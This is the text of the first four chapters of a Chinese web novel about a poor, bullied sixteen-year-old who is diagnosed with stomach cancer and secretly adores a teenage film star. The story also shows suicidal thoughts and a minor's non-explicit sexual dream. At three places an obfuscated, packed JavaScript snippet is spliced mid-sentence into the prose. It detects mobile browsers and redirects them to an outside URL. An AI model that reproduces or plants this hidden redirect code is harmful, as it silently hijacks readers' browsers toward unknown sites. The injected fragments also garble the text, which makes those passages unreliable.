《我和未来的老婆》 1. 第 1 章 “醒了?” “有没有哪里疼?” 傅斯霆微微睁开眼睛,入目是刺眼的顶灯和雪白的墙壁。 脑海里还残留着尖锐刺耳的嘲笑声,钝刀一样割着神经。他回忆起昏迷前最后的一幕—— 身体滚落楼梯不断撞在地面。剧痛,满溢鼻腔的腥涩血水,以及无法呼吸的濒死感…… 都那样了,他还活着么? 有人握住了他的手。 那人身上有着一股泉水的清冽气息,夹杂着成熟精英男人的墨水香。盖掉了周遭空气中浮荡着淡淡消毒水味。 掌心传来丝丝缕缕的温度,似在无声地安抚。那是一种极为温柔的摩挲,指尖薄茧勾勒着手心,带来细微而酥痒的触感。 没有人那样抚摸过他。 对不曾被温柔对待过的人来说,这种温暖仿佛带着尖刺,扎得人浑身发疼。 傅斯霆下意识想要抗拒,却发现自己几乎没有一丝力气。 他胸口微微起伏。别说动弹,就连每呼吸一下都牵扯起全身的疼。 “傅斯霆,别急。哪里难受?你呼吸,好好呼吸。” 声音染上了担忧,抚上他的胸口,叫他的名字时微微沙哑。 “……”傅斯霆很费力地想要转动眼珠,看一眼说话的人。但混沌困意是那么沉重,一下子又将他拖拽回了黑沉的深渊噩梦。 梦里,时间回溯到几天前。 原本褪色、被碾碎压烂的记忆画面缓缓拼凑、鲜活。 市三中高一四班的教室,刺耳响起的放学铃声打破平静。 几个坐在后排的男生立刻兴奋起来,互相交换了不怀好意的眼神,齐齐起身,朝着倒数第二排靠窗的位置逼近。 那个位置上,脸颊瘦削的高挑男生正低着头,动作幅度很小的整理书包,再抬眼时,发现已经被团团包围。 “怎么,这就想走?” “哎呀你忘啦,这小子不是赶着去地沟油炸鸡店里上班呢么,天天炸鸡,怪不得成天一身鸡屎味儿。” “哈哈哈哈……”一群男生的讥讽中,傅斯霆垂眸咬牙,拖着一条腿,费力扶着桌子,试图从他们中间那唯一的狭小的空间艰难挪出。 “哈哈,哎,我早就在想一个问题了——他这瘸着一条腿到底是怎么炸鸡的啊,难道是坐着炸?” 领头叫梁钧的富二代故作沉思:“还别说,他妈做鸡,他炸鸡,一家子整整齐齐。” 傅斯霆猛然转过头。 一双灰霾的眸子阴冷,面无表情地盯着梁钧。 梁钧被这突如其来的逼视吓了一跳,但很快就恢复了嚣张:“哎你们看,瘸子还会瞪人了。不是吧,难不成是还想跟哥几个过两招?哈哈哈……也不看看自己那瘸样!哈……哇!你干什么?你、你敢拽我,你找死!!” 窗外夜色渐黑。 当晚,傅斯霆迟到了将近一个小时才到了炸鸡店,垂着眸,浑身是伤。 店主是个中年秃头,斜眼抽着烟,一脸嫌恶:“咱小本生意,可养不起一尊大佛。来结一下工资吧,明天别来了。” 傅斯霆脸色苍白,艰难开口:“叔,实在抱歉,我不是故意……我今天给您多做两个小时,行吗?” “没必要!”秃头大叔哼了一声,“上个月十八号到今天,正好三十天。” 他舔着手指数着钱,扔过去一千:“扣掉今天旷工。这是一千,你拿好了。” 傅斯霆没有拿。 他抬起眼,灰瞳安静,一言不发看着他。 “怎么,一千还嫌少了?”店主啐了一口,眼露凶光,“你就一兼职的,每天才干四个小时,我还没嫌弃你一瘸一拐吓跑客人,你以为你该拿多少?给你一千不错了!” “说好的一千五。” “一千五?你有什么脸拿一千五啊?”店主骂骂咧咧,“工作围裙都被你沾的满是油还没让你赔。我招你干一个月,还不够赔本的,简直倒霉透顶!” “一千五。”少年坚持。 “一千五一千五,旷工扣钱你听不懂人话啊?以为未成年就了不起?敢在老子这找茬。有本事你找警察,你去告,你去劳动仲裁……行行拿钱快滚吧别杵在这耽误我做生意,再不走信不信我打死……嗷!” 他伸过去推搡的油手被少年一把抓住。 力道很大,店主一愣,随即凶光一闪,随即冷不防朝着少年肚子上被狠狠踹了一脚。 他一米八几两百多斤,一身的肥肉,这一脚直接把傅斯霆踹飞出好几米。“砰”的一声,撞在身后凸出来的铁制油烟机上。 那声音太响,店主也吓了一跳。紧接着,就看猩红的血水从少年额角流下来,而少年脸色苍白、双眼紧闭,看着像是没气了。 “你、你……” 店主虽仗势欺人,也没想惹出人命。 谁想他刚靠近少年,那瘸腿狼崽子居然猛地睁开眼睛,拽着他的胖腿就狠狠把他扑到了。 少年很瘦,但个子高,全身重量压下来也足够硌得人三佛升天。胖店主登时火冒三丈,仗着膀大腰圆恶狠狠蛮力去扯少年坏掉的那只腿。 少年痛得闷哼,店主骂了句晦气就要爬起来,却再度被狠狠拽着倒下去。 “你个臭小子!你!!嗷!” 十几分钟后,店主怂了。 他只是想克扣一点工钱,他可没想拼命!要知道他小店开着一年利润可不少,没必要鱼死网破。 而这未成年瘸子却红着眼,明显想跟他不死不休。 靠,还以为他闷不吭声好欺负,没想到那么不要命。 不值!他要是为了五百块死了,那多不值? “行行,再给你五百,拿走快滚!” 最终,店主挣扎出来,滚圆的脑袋上青筋突突跳,愤愤然把红票子甩在少年脸上。 “识相赶紧滚,再闹我真报警,到时候让你赔店里损失,让你打架斗殴被退学,叫你吃不了兜着走!” “小小年纪不学好,这次算老子倒霉,滚滚滚!快滚!再看见你一次打你一次,滚!” …… 隔日早晨,气温骤降,下起小雪。 傅斯霆的班主任是数学老师,但这个男人最近已经拿到了某沿海的私立国际学校的offer,如今对待这个班很心不在焉,成天当甩手掌柜。 反而语文老师阚白云时常关心:“傅斯霆,你这个脸怎么……” 眼前少年额上缠着纱布,一半脸都肿了起来,虽然表情淡然,各种青紫的伤痕还是有些过于惨不忍睹。 而且时间已是隆冬,街上大多人都穿上了厚厚的羽绒服。 他的身上却还是秋天的单薄衣服,手上冻疮红紫开裂,看着就疼。 阚白云其实听过傅斯霆的一些事情的,知道他家很穷,好像他亲爸在他很小时候就欠了赌债跑了,后爸前又在几年开长途卡车出事掉下山崖摔死了。 这两年他妈妈又罹患尿毒症,肾功能衰竭,不仅再也不能工作,还要靠着每周透析才能过活。 家庭的所有重担,都只能压在他一个少年身上。 这也太难了。 但阚白云此刻也急着去另一个班上课,只能尽力柔声提醒少年: “傅斯霆,你脸上的伤……要是学校里有人欺负你,是可以寄信给校长信箱投诉的。咱们学校有专任老师管校园霸凌,你千万不要一个人扛,明白吗?” “还有,你的成绩最近下降的厉害,作为学生还是要以学业为重。老师知道你很需要奖学金,再考不好奖学金是会被取消的,一定要重视啊!” 预备铃响起,她也只能叹口气,匆匆走了。 …… 直到中午下课,阚白云才听同事说,傅斯霆的脸是昨晚跟同班一个叫梁钧的男生打架弄的。 “可麻烦呢。那个梁钧的大伯好像是市教育局的副局长。” 同事凑过来小声说:“听说今天早上十点多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977734|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人家就气势汹汹找过来了,现在还在校长办公室里闹呢。” “位高权重,李校长也不好得罪,两头为难啊……” 三中是公立高中,一般的校园霸凌确实是有人管的。 可这次的梁钧毕竟背景特殊,家里人官大一级压死人,事情就很难办了。 阚白云很有些替傅斯霆担心,在食堂囫囵吃完午饭,上楼时故意抱着书绕道经过了校长办公室附近,就听见里面有人疯叫: “什么混混学生,这将来就是社会的渣滓、街上的痞子!记过,必须记过!” …… 晚自习时,梁钧趾高气昂。 “喂,穷狗。再敢动我一下试试啊?” 傅斯霆坐在座位上垂着眸,没有抬头看他。 身边跟班探头探脑提醒:“梁哥,也别离狗太近,当心一会儿又咬人。” 梁钧这次可一点不怕了,得意洋洋:“放心吧他不敢。校长已经答应过我大伯了,他再犯就记他大过,到时候他那点穷逼奖学金可就无了。” “要是没那几千块钱,他恐怕做鸡都吃不起饭了吧,好惨啊。” “说起来做鸡也不挣钱啊,他也算有点小姿色吧,不如去做鸭……哦忘了,瘸腿鸭可没富婆要啊。” 他们哈哈笑着,傅斯霆紧握着铅笔,嘴角抿成一条直线,指节发白。 “喂,这狗也不叫,想什么呢?”一只手突然伸过来,抢走他手里的课本。另外几个人则随手翻起他桌上其他书。突然,从傅斯霆最厚的那本装订数学复习资料里掉出了几张剪报。 “靠,这书里夹的什么玩意儿?” “海报?” “卧槽卧槽,很多张啊——等一下,这不是那个什么小影帝吗,就梁哥你表妹最喜欢的那个?” 傅斯霆铅笔的笔芯骤然折断。 梁钧一看,可不每一张都是他表妹房间里贴满的那个小影帝?那男孩爸爸好像是导演,也才十六岁已经参演过很多部电视剧,是很红的影星了。 名字叫什么来着,厉非? “梁哥,你看……” 小弟发现新大陆一样指着海报边缘。 梁钧这才看到,每张海报不止是被精心剪下,海报边缘还都有圆珠笔认真画的简笔小画。 每一张都有。 每一张海报上面,厉非什么角度什么神态,简笔画就画的什么角度什么神态。 每一张海报都给厉非画了个很可爱的Q版,惟妙惟肖。 甚至在简笔画上Q版小人上,厉非头上还都被画了个小小的王冠。 “……” “操,什么恶心东西!妈的你傅斯霆什么档次也配喜欢我妹喜欢的偶像?而且你这穷逼买得起杂志?我怎么不信呢……说,哪儿偷来的!” 他吼起来:“你们哪个倒霉鬼,被穷狗偷杂志了?自己检查一下!” “梁哥,我听说啊,上次有人看他偷偷捡别人丢到垃圾桶里杂志,啧啧啧,收破烂还画王冠,还画……呃,爱、爱心?靠梁哥,该不会这小子是‘那个’吧?你看这张!还有这张!” “哇哈哈,他喜欢男的吧?他是爱人家男明星啊。艹牛逼啊,眼光真高……” “靠靠靠,恶心死了,我今天非得揍死这狗玩意儿!” 白天时,校长对教育局长最后的妥协,就是再犯一次就取消傅斯霆的奖学金。校长好说歹说陪尽笑脸,才千恩万谢送走那尊大佛。 而傅斯霆无论如何也不能没有那一年几千块的钱。 所以这一次,他没有反抗。 直到被打得吐血晕倒在地上,几个富二代才慌了,赶紧送他去医院。 好消息是,他并没有被打出了三长两短,只有一些软组织挫伤。坏消息却是为了验伤而拍的片子里,医生意外发现傅斯霆胃部的影像雾蒙蒙的,很不对劲。 医生对着片子狠狠皱眉。 根据他多年的经验,恶性肿瘤才长这样。 2. 第 2 章 医生面色凝重,手中的片子被灯光映得发白。他指着片子上的阴影:“你看这个阴影,这个毛边看到了没有?造影边缘模糊,说明情况很不正常,必须进一步检查。” “你是小孩的老师吧,小孩家长在哪?” “……” 傅斯霆爸爸在他一岁那年就跑了,而妈妈现在正在这所医院的四楼透析室里,自顾不暇。 医生听了也是无奈叹气,只能跟唯一在场的“大人”阚白云说下了情况。 阚白云听着,逐渐变了脸色,医生告诉她根据片子的情况,怀疑是胃癌,甚至有可能已经是晚期。 “这、这怎么可能?是不是哪里搞错了。” 阚白云声音颤抖:“可这孩子才十六岁啊!他还那么年轻,这么年轻怎么会得这种病呢?” 医生摇了摇头,年纪轻轻就身患重病这种事他们在医院早见得多了。虽然罕见,但也年年都有。 为了最终确认,医生开了单子让傅斯霆先住院,隔天做胃镜检查。 “如果真确定了是恶性肿瘤,那就要立刻进行手术,刻不容缓,而且后续还要化疗等一系列的治疗措施。总之,让学生家里先准备好钱吧。” “看这目前检查的情况,胃镜结果十有八九不会乐观。” “费用上得提前做准备。他这病就算有报销,加上后续也少不了要六位数……” 隔着墙角,傅斯霆垂着眸,全听见了。 他并没有能够替他兜底的家人,可以合起伙来瞒着他帮他治疗。阚白云整个人都慌了,眼下也不知道怎么劝慰他,只能脸色苍白努力措辞: “傅斯霆,你、你还很年轻,这病医生说了是能治的。你可要放稳心态,积极治疗,千万不能自暴自弃,明白吗?” “至于手术费,你别怕。老师知道你家困难,但咱们可以在学校里帮你募捐的,总之就是学校绝对不会放着你不管。你不能丧失信心,这里老师有五百块,你先拿着!” “实在不行,还有电视台,还有市里面的求助热线和绿色通道。办法总比困难多,你千万不要放弃信心,知道吗……呜。” 傅斯霆只是安静站着。 医院走廊上,反倒是阚白云这个“大人”哭得抽抽噎噎。 医生去而复返,又拉住阚老师,跟她交代起了一些刚才忘记交代的细节。而他们说话间,傅斯霆则向阚白云借了下手机。 他没有可以求助的亲友,借电话不是想要打给任何人。 他只是用手机在浏览器里查了一下“胃癌晚期”的五年生存率。 就连晚期里面最轻的三期,也只有百分之二十到百分之四十的生存率。 也就是说,哪怕经过手术、化疗,也只有大约有百分之二十到百分之四十的患者,能够在五年之后仍然存活。 “……” 傅斯霆手指久久停留在那数字上。 良久,低头笑了一下。 这个概率,简直不就等于……差不多没什么指望了么。 才能活五年,还只有百分之二十到四十的概率。这治不治还有什么差别? 更不要说他从小到大一向不怎么幸运,这样的概率,等于完完全全被命运判了死刑。 傅斯霆简直连垂死挣扎都不想挣扎了。 …… 查完这些,傅斯霆把手机还给老师,上四楼去看了一下妈妈。 他妈江月萍还不知道他得病的事,此刻正插着透析管躺在病床,整个人苍白又虚弱。 肾病患者经常都是这样,困倦、疲乏、食欲不振,即使休息后也不得缓解。从一年前查出来得病,她就常常都是这副气息奄奄的样子。 看到傅斯霆过来,江月萍还是努力打起了精神。 先是抓着他的手腕问他怎么又瘦了,又问他功课怎么样。 “妈,您别担心。一切都好。” 傅斯霆当然不会告诉她,自己因为这一年拼命的打工赚钱为她筹措治病和透析的费用,每天连睡觉的时间都不够,学业已经退步了太多。 他就只能每次都跟她说还是那样。 傅斯霆曾经的“还那样”,是年纪前二十。他在这一年之前,一直都是个成绩很好的学生。而现在的成绩早就掉到年级两百名之后了。 但这些江月萍不需要知道。 果然,妈妈听他说成绩还好,欣慰地笑了:“我家小霆从来不让妈妈操心。” “好了你也早点走吧,别在医院耽误。明天还要上学。” “嗯。” 她明明上一秒还笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977735|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,突然又垮下脸来,唉声叹道:“你这么优秀,一直都是妈妈拖累你了。唉,你看我这一天天的,活着也是受罪,又等不到肾源,就算等到了也换不起,有什么意思?不如早点去死。” “小霆你说,”她抬起眼,茶色的空洞眼睛望着傅斯霆,“妈妈是不是早点死了更好啊?” “……” 傅斯霆的指尖掐在掌心,脸上表情并没有变。 “妈妈你别瞎想,会等到肾源的。到时候一切都会好的,咱们都要有信心。” 从四楼下来后,傅斯霆求阚老师务必对妈妈隐瞒他的病情。 “老师您不用担心,就算是为了家人,我会好好治疗的,而且您也说了,可以募捐……别担心,我真没事。我不会想不开。” “老师您也早点回家吧。太晚了,您家里人好像都电话催您好几次了。快回去吧。” 在这几个小时里,阚白云不断被家里的催命电话连追。 就连刚才傅斯霆用她的手机查病时,后台聊天软件的催命信息也不断弹出来。 阚白云三十多岁,性格温柔,她的婆婆和丈夫发来的信息却一条条那么急躁难听。一条条信息,一直骂她不顾家,阴阳她大半夜的去了哪,骂她不管孩子不配当妈。 这些年,傅斯霆母亲病倒、家里拮据,他一直想法就是能快点长大就好。 他迫不及待快点成年,那样就可以早点好好挣钱养家,带着妈妈摆脱困境。 可是。 阚老师已经是大人了,也有了稳定的工作和收入。但阚老师的人生……好像也还没能逃掉水深火热、焦头烂额。 夜色中,傅斯霆走出医院大楼。 冷风扑面而来穿透他单薄的衣衫,刺骨的寒意让他忍不住打了个寒颤。街道上行人寥寥,只有路灯在寒风中孤独伫立、洒下昏黄的光晕。 他抬起头,望向远处的高楼,万家灯火在夜色中闪烁,通明高远。 那些灯火背后,或许有一个个温暖的家,有欢声笑语,有热气腾腾的饭菜。他再低下头,脚下的影子被拉得很长,孤零零地映在冰冷的地面上。 越发深暗的夜里,有一瞬间他甚至不知道该往哪里走。 未来像是一团黑色雾瘴,想象不来有什么光明的前景。 3. 第 3 章 傅斯霆当晚什么都吃不下,一个人乘公交车回家。 车厢挤满了人,熙熙攘攘,各种嘈杂交织在一起。 人与人的悲欢并不相通,挤在他正前方的是两个快乐的女大学生,两人正分享着同一副耳机,凑在同一个pad前一起小声激动: “厉非弟弟这次帅出新高度啊!再循环一遍再循环一遍,快快!” “免费的单曲还制作那么精良呜呜呜也太良心了吧,明天就发布了我一个大期待。退一万步说,今天就不能是明天吗?” 霓虹闪过玻璃,像一场无声的烟火。 傅斯霆个子高,视线越过她们的肩头,能清晰看到Pad上的画面。 屏幕上,十六岁的厉非已经初具棱角分明的俊朗轮廓,一身银色西装衬得他身形挺拔。 他站在舞台上,沉浸在音乐中,纯黑色的眼睛闪烁流光、锐利逼人。 傅斯霆的目光也久久停留在那循环的屏幕上,一直看着。 …… 傅斯霆家境贫寒,过冬的羽绒服都舍不得买,手机电脑对他而言更是遥不可及的奢侈品。 这些年,他只能从商场的巨幅海报,公园巨大露天屏幕,还有班上同学手中的时尚杂志上,偶尔看到厉非的样子。 又或者,从电脑课上的偷偷搜索,或者在前后桌聊明星八卦时,一点点知道他的消息。 厉非跟他同岁,是著名导演沈明德最爱带在身边炫耀的宝贝儿子。 沈导颇有才华,在国内国际都享誉盛名,厉非也从小就走上了演艺之路。 他演技极好,不仅早早在国内崭露头角,还参演过几部外国电影。去年还斩获了一个颇有含金量的国际电影大奖,成为了这个奖项最年轻的获得者。 除了演戏,厉非还会钢琴和小提琴。 虽不是专业歌手出身,但出过一张专辑也是销量和评价俱佳。学校的广播台常常播放他的歌。 厉非不是少年音,他的嗓音低沉磁性,有种令人着迷又不符合年纪的成熟感。 一如他的气质,小小年纪就优雅犀利,不太爱笑。 但是偶尔笑时,又会如同初升太阳,温暖而耀眼——那是傅斯霆一辈子不可能触及的,云端上的美好。 公交车到站,两个女孩下了车。 其中一个女孩包上挂着的厉非小玩偶被挤掉了。傅斯霆试图叫她,声音却被淹没,他也被新上的乘客挤到车厢一角,视线却始终没有离开那个玩偶。 直到快到终点,人下得差不多了,他才终于从地上捡起被蹂躏得黑乎乎、脏兮兮的毛绒玩偶。 指尖轻轻抹去玩偶脸上的污渍,他小心翼翼将它收进口袋。 终点站是荒凉的铁道旁的旧城区。逼仄坑洼的小巷,萧条黑暗的破烂筒子楼,连路灯都没有。 楼道里的灯也早就坏了多年了,没有人修。 傅斯霆摸黑上楼,钥匙对着锁孔找了好一会儿,才打开了门。 屋子很小,租金一个月三百块,倒是不贵。只是无论如何认真打扫,都扫不掉淡淡的霉味。 屋内一片漆黑。傅斯霆没有开灯,径直走到床边,仰面躺下。 人真无可救药的时候,其实并不悲伤,也不崩溃。 而是麻木没有感觉的。 他就这样静静地躺着,一张清隽的脸上没有任何表情。像是失去灵魂的躯壳,一动也不动躺了好久。 胃有点隐隐抽疼。 他捂上去,其实这破胃从前两年就断断续续的一直疼,但他从未在意。 根本没想过这是生病的前兆。 ……为什么是他呢。 世上那么多坏人,而他努力生活、没做过亏心事。却为什么是他生病。 掌心的小娃娃玩偶,摸起来很柔软。 傅斯霆将它举到眼前,细细抹去最后的污渍。 那个娃娃做的很精细,虽然是Q版,竟真有几分厉非的神韵。傅斯霆微微出神,思绪飘远。 他只看过厉非一部电影,还是初一那年学校集体活动组织去看的。 电影叫《重春》,讲的是民国恩怨。 那时厉非才不到十四岁,眼里已有刀锋一样犀利的冷峻。 整场电影,他出场的片段,整个影院都是静默无声的,所有人屏息凝神注视着他的一举一动。电影结束后,班上的女生几乎都在讨论厉非——他的帅气、他的演技,他塑造的角色。 她们还不断八卦他下一部要与哪位著名导演珠联璧合、再创佳作。 傅斯霆没有和任何人讨论。 他默默回到家,脑子里却也都是那个少年的身影。 那部电影里,厉非饰演一个家族没落、身负国恨家仇的小少爷顾浔。 因为是民国戏,他在电影里有截然不同的两套妆造。一套是精致的黑色革履西装,衬得他脊梁挺拔、腰身窄而有力;另一套则是民国的月色锦绣长衫,最后大火染红的倾颓戏台时,他穿着那样一身幽幽走过断壁残垣。 镜头跟着步伐,落在火光中他长衫之下露出的脚踝上。 傅斯霆的目光也被定住了。 腿间莫名开始发热。火舌随着长衫上移,逐渐烧透荧幕,也烧到了傅斯霆身上。 他的喉咙跟着燥热,前所未有的感觉。 那天之后,傅斯霆发现自己对厉非产生了一些特别的意识。 他开始不自觉地想要收集关于他的只言片语。周围只要有人提到厉非,哪怕只有一两句,也能让他高兴一整天。 而在街头看到厉非的广告,他更会难得地露出笑容。 他根本去不起电影院,但每次厉非有新片上映,他也会像是过节。这种陌生的感觉日渐高涨,让人甜蜜又心烦。 直到初冬的一个午后,他真正意识到这种异样的感情究竟是什么。 那个午后,他可耻地做了一个梦。 梦里厉非穿着民国的月白马褂斜靠在竹椅,依旧是不经意地露出脚踝。 他则半跪在厉非面前,手指颤抖,虔诚地轻轻碰触了他的脚踝。 半夜傅斯霆从这个梦里惊醒,僵在床上,冲击到话都说不出来。 他洗了湿掉的裤子。 换了一条后,却再也无法入眠,在床上痛苦地咬牙蜷缩起来。 那之后一整个暑假,他都把自己埋起来。 他那时年纪小,只强迫自己再也不许去想哪怕一点关于厉非的事情,生怕玷污了他。 但没有用。 即使一再告诫自己不可以,妄念还是野火烧不尽,疯狂再度滋生。 …… 傅斯霆当晚在房子里收拾了几件换洗衣服,半夜又匆匆赶回医院。 因为第二天下午有胃镜手术,他必须空腹一夜加一上午。手术结束没多久,确诊胃癌的病理就出来了。 医生面色凝重:“不能再耽误,必须马上安排手术。”傅斯霆就被迅速办理了入院手续,手术排在四天后的第一台。 再度入院以后,傅斯霆躺了一天。 或许是他倒霉,那一天病房特别吵。隔壁床家属不知道为什么吵架,哭闹得撕心裂肺。另一床则是不断大声打电话。又旁边一床则是小情侣在闹脾气,一会儿好一会儿恼的让人头疼。 声音交织在一起,吵得傅斯霆无比难受。 于是隔天白天,他趁护士不注意,悄悄穿衣服溜回了学校。 进班级时,教室里安静了一瞬。 同学们窃窃私语,投来的目光或同情、或躲避。 傅斯霆之前就因沉默寡言没什么朋友。很多人都知道四班有个性格孤僻、很难相处的瘸子。 而现在,孤僻的瘸子成了一个快死了的瘸子。 有些人看他的眼神,都好像是看尸体一样惧怕。而傅斯霆看看玻璃倒影里的自己,也确实像一具骷髅。 …… 傅斯霆以前并不难看。 甚至梁钧最初恨他、针对他的原因,就是因为梁钧初中时喜欢的女生曾夸过一句傅斯霆长得帅成绩又好,是她的理想型。 初中时的傅斯霆确实还算好看。 那时他妈妈还没有检查出尿毒症,家里又还有一点后爸过世留下的抚恤金。他不需要省吃俭用、天天打工,因而也不憔悴。 但仅仅一年,他就被生活磋磨得瘦得脱形。 如今样子也不行了,学习也一落千丈。 什么也不剩下。 …… 第一节下课,阚老师就把傅斯霆叫去了校长办公室。 校长说了一堆安慰的话,和蔼地告诉他学校会帮他募捐,让他一定不要放弃希望。 校长和老师们效率过高。 中午,募捐活动就开始了。 大喇叭不管不顾,一遍遍播放着傅斯霆爸跑妈病、身残志坚的可怜身世,就是这么坚强不屈的同学如今却罹患癌症,不少同学落下同情的泪来。 傅斯霆平静地坐在教室听着这一切。 谁也不愿尊严撕碎,扔在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977736|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给人观瞻。可是山穷水尽的时候,也根本没有在乎尊严的资格。 何况他那些破事儿,也早就被梁钧那些人宣扬的班上人尽皆知了。 然而下课后,还是有不少外班的人蹭在高一四班门口探头探脑,大概是想要看看又穷又瘸又癌又毫无希望的人到底什么样。 他们如愿看到了傅斯霆。 傅斯霆不仅耐着性子多上了一天课,就连轮到他的值日也照做不误。 那些人来了,就看到清瘦高挑、衣衫单薄的少年正在沉默地擦黑板。整个人和传说中差不多的孤僻阴沉—— 暗瞳清灰,嘴唇苍白。看过来时不笑时,有些森冷的可怕。 围观的同学们吓得纷纷散去。 傅斯霆擦完黑板又去了卫生区。 四班的卫生区在天台,那里正好是广播台的喇叭下面。 黄昏时的大课间,广播台竟播出了厉非的新歌。 傅斯霆在夕阳下久久站着,听着旋律一字一句、一个旋律地流淌。歌声混着夕阳的余晖,笼罩在身上,是冬日里难得的暖意。 他闭上眼睛,回忆起昨晚PAD上瞥见的,厉非在舞台上闪闪发光的模样。 他们今年都是十六岁。 同一片天空下,却是那么不同。 他在烂泥里挣扎不见天日。厉非却是天边上的人,家境好,人也努力上进,不仅演戏、唱歌都那么厉害,十五岁时他连直升机都会开了,全方位的优秀。 上天是不公平的。 ……但傅斯霆却发现,他很难因为这不公平,而痛恨厉非。 他倒是能轻易痛恨别人。 比如班上那些富二代,比如其他天生好命的人。 但厉非对他是特别的。厉非的存在,是他在这个没什么意思的世界上,能见到的为数不多一件难得的美好。 他一点也不希望厉非跌下泥潭。 那样他一点也不会好受。 他一点也不想看他跟自己一样一塌糊涂。那样不染尘埃的人,就该在云端发光发热,一直唱那么好听的歌,演那么好的电影,一直积极明亮,摘得一颗又一颗星星放进衣兜。 傅斯霆也说不清那到底算是什么感觉。 人不该对一个其实根本没有见过面的人抱有美好而不切实际的幻想或寄托,甚至把他奉若星辰。 但他明明知道这个道理,还是打从心里把厉非当做夜空中唯一的启明星。 奇怪吧? 明明他也知道,厉非的美好,很可能只是荧幕形象而已。真正的厉非是什么样子的呢?他一辈子也不可能了解。 但即使如此。 只要想想两人此刻在同一片天空之下,或许仰头看着一轮明月,呼吸同样轻柔的风。 无尽的压抑和痛苦中,他就能多少有一丝安慰。 …… 傅斯霆并不知道,那天黄昏,他一度和厉非距离其实非常近。 黑色的轿车驶过环城公路,正从三中学校门口掠过,疾驰去隔壁的城市。 车里,厉非冲对面的经纪人浅浅笑了笑:“行了,别那样看着我。” “我不难过。” “这又不是他外面的第一个私生子。” “可是厉非……”经纪人季彩面露担忧,“咱们还是谨慎点,这次的这个女人绝非善类,很有可能逼宫上位,成为你继母。她要是上位,可真要天下不宁了。” “嗯,我知道,我做了预案。” 车外霓虹闪烁,厉非拿出一份文件,递到季彩手上。 那是一份公证过的遗嘱。 “有这个在,就算我死了,我母亲的遗产也一份不会落到她和我爸,又或者我爸任何在外头的女人、儿女手里。” 季彩大惊,手颤抖起来:“你、你小小年纪的,你写什么遗嘱?多不吉利啊!” “那个女人虽然不是善类,但她应该还不至于!何况你父亲……沈导他那么看重你,绝不会纵容外头的女人来害你的!” 厉非笑了。 “你太高看我爸了。他只在乎自己,我对他而言根本无足轻重。” “不过只要所有人都知道就算弄死我,我名下的财产也只会全部捐出。任何人一分也拿不到,自然他们就也没有太多动机下手了,不是么?” “不过还要麻烦小姨,早点把这项公证宣扬出去。” 季彩看着厉非,一阵心疼。 而厉非沉沉的黑瞳,只是映着车窗外渐渐西沉的黄昏。 4. 第 4 章 傅斯霆十三岁时,第一次在梦里对云端上的人有了不该有的想法。 那天以后,自惭形秽,躲了很久。 傅斯霆的妈妈江月萍在他爸跑路以后,短短十几年又结了四次婚。除了第三任因货车事故而殒命的曹爸爸好人不长命之外,剩下的男人是一个比一个糟糕、一个比一个祸害遗千年。 初二时,还没罹患肾病的江月萍有了她的第四任新老公,一个婚前人模狗样,婚后露出真面目的酗酒家暴狂。 那时傅斯霆个子还不高,力气也不够大,一度他们母子俩都被男人打得遍体鳞伤。可即便如此,他妈还是无法下定决心离开那男人。 被逼急了,她还会顶着一脸的伤,哭着吼自己儿子: “你以为我就是贱,喜欢受这种罪?傅斯霆,你以为我找这一个个烂人是为什么?还不都是为了你,还不都是为了养活你?!” “要不是为了供你上学,我还在这苦撑什么,早就一根绳子吊死了!” “可现在,居然连你也学会看不起我了。果然全天下男人没有一个好东西,我真不如现在就去死。真的,我活着有什么意思?” 可这么多年过去了,她永远也只是嘴上委屈。 不断地念叨自己只图钱、不图情。说她一点也不喜欢那些男人,只是为了养儿子被迫委身。 可事实却是,那些男人根本就不给她钱。 反而是她每每给烂男人们拼命贴钱。不管是被骗还是被打,只要男人在她面前跪着扇个巴掌道个歉,买个花哄哄她,她又喜气洋洋地原谅人家、继续跟人过日子了。 她根本就不图钱、也不想死。 反而傅斯霆才是这个家里真正想过死一死的人。 那天跟江月萍大吵一架后,他带着一身伤,浑浑噩噩走到大桥上,盯着下面车水马龙蜿蜒的光河发呆。 有一瞬,他的手摸到桥梁边缘。 冰冷的铁栏杆刺得他掌心发麻,也吞噬着他最后一丝理智。手指微微收紧,身体不自觉地前倾,有一瞬他突然感觉一咬牙就这么翻身跳下去的话,似乎也不是那么难。 可也就在那一刻,桥对面商场屏幕一闪,换上了一张新广告。 暖色的光芒洒过来。 傅斯霆缓缓抬起眼睛,映入眼帘的,是一张橘黄色的巨幅海报。 厉非拿着一瓶金彩混色巧克力糖果,笑得灿烂,眼里有明亮的光。 那是即便在冬日里,也能融化一切的笑意。 时间仿佛静止。 